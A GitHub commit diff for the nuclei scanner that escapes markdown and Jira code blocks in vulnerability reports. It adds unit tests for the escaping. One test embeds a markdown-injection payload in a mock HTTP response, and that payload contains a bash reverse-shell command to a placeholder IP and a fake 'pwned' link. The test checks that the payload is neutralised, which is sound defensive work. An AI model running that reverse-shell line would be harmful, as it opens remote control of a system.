feat: escape code blocks for markdown formatting (#6089)

This commit is contained in:
Ice3man 2025-03-07 14:45:39 +05:30 committed by GitHub
parent d56524933f
commit d10b7f7382
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
4 changed files with 100 additions and 2 deletions

View File

@ -2,6 +2,7 @@ package util
import (
"fmt"
"strings"
)
type MarkdownFormatter struct{}
@ -11,7 +12,8 @@ func (markdownFormatter MarkdownFormatter) MakeBold(text string) string {
}
func (markdownFormatter MarkdownFormatter) CreateCodeBlock(title string, content string, language string) string {
return fmt.Sprintf("\n%s\n```%s\n%s\n```\n", markdownFormatter.MakeBold(title), language, content)
escapedContent := escapeCodeBlockMarkdown(content)
return fmt.Sprintf("\n%s\n```%s\n%s\n```\n", markdownFormatter.MakeBold(title), language, escapedContent)
}
func (markdownFormatter MarkdownFormatter) CreateTable(headers []string, rows [][]string) (string, error) {
@ -25,3 +27,20 @@ func (markdownFormatter MarkdownFormatter) CreateLink(title string, url string)
func (markdownFormatter MarkdownFormatter) CreateHorizontalLine() string {
return CreateHorizontalLine()
}
// escapeCodeBlockMarkdown only escapes the bare minimum characters needed
// for code blocks and other sections where readability is important
//
// For content inside code blocks, we only need to escape backticks
// and backslashes to prevent breaking out
func escapeCodeBlockMarkdown(text string) string {
minimalChars := []string{
"\\", "`",
}
result := text
for _, char := range minimalChars {
result = strings.ReplaceAll(result, char, "\\"+char)
}
return result
}

View File

@ -89,3 +89,54 @@ func TestCreateTemplateInfoTable3Columns(t *testing.T) {
require.Nil(t, err)
require.Equal(t, expected, table)
}
func TestEscapeCodeBlockMarkdown(t *testing.T) {
testCases := []struct {
name string
input string
expected string
}{
{
name: "no special characters",
input: "normal text without special chars",
expected: "normal text without special chars",
},
{
name: "with backticks",
input: "text with `backticks` inside",
expected: "text with \\`backticks\\` inside",
},
{
name: "with backslashes",
input: "text with \\ backslash",
expected: "text with \\\\ backslash",
},
{
name: "with both backticks and backslashes",
input: "text with `backticks` and \\ backslash",
expected: "text with \\`backticks\\` and \\\\ backslash",
},
{
name: "with code block",
input: "```code block```",
expected: "\\`\\`\\`code block\\`\\`\\`",
},
{
name: "with escaped backtick",
input: "escaped \\` backtick",
expected: "escaped \\\\\\` backtick",
},
{
name: "with multiple consecutive backticks",
input: "``double backticks``",
expected: "\\`\\`double backticks\\`\\`",
},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
result := escapeCodeBlockMarkdown(tc.input)
require.Equal(t, tc.expected, result, "Failed to properly escape markdown for code blocks")
})
}
}

View File

@ -1,12 +1,14 @@
package format
import (
"fmt"
"strings"
"testing"
"github.com/projectdiscovery/nuclei/v3/pkg/model"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util"
"github.com/stretchr/testify/require"
)
@ -46,3 +48,28 @@ func TestToMarkdownTableString(t *testing.T) {
require.Equal(t, strings.Split(expectedOrderedAttributes, "\n"), actualAttributeSlice[:dynamicAttributeIndex]) // the first part of the result is ordered
require.ElementsMatch(t, expectedDynamicAttributes, actualAttributeSlice[dynamicAttributeIndex:]) // dynamic parameters are not ordered
}
func TestCreateReportDescription_MarkdownInjection(t *testing.T) {
// Setup a mock result event with malicious payload in various fields
event := &output.ResultEvent{
TemplateID: "test-template",
Host: "example.com",
Matched: "https://example.com/vulnerable",
Type: "http",
Info: model.Info{
Name: "Test Template",
Authors: stringslice.StringSlice{Value: []string{"researcher"}},
SeverityHolder: severity.Holder{Severity: severity.High},
Tags: stringslice.StringSlice{Value: []string{"test"}},
},
Request: "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",
Response: "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<html><body>Hello, world\r\n\r\n```\r\n\r\nReferences:\r\n- https://rce.ee/pwned\r\n\r\n**CURL command**\r\n```sh\r\nbash -i >& /dev/tcp/10.0.0.1/4242 0>&1\r\n```\r\n</body></html>",
CURLCommand: "curl -X GET https://example.com",
}
result := CreateReportDescription(event, &util.MarkdownFormatter{}, false)
fmt.Println(result)
require.NotContains(t, result, "```\r\n\r\nReferences:\r\n- https://rce.ee/pwned")
require.NotContains(t, result, "```sh\r\nbash -i >& /dev/tcp")
}

View File

@ -29,7 +29,8 @@ func (jiraFormatter *Formatter) MakeBold(text string) string {
}
func (jiraFormatter *Formatter) CreateCodeBlock(title string, content string, _ string) string {
return fmt.Sprintf("\n%s\n{code}\n%s\n{code}\n", jiraFormatter.MakeBold(title), content)
escapedContent := strings.ReplaceAll(content, "{code}", "")
return fmt.Sprintf("\n%s\n{code}\n%s\n{code}\n", jiraFormatter.MakeBold(title), escapedContent)
}
func (jiraFormatter *Formatter) CreateTable(headers []string, rows [][]string) (string, error) {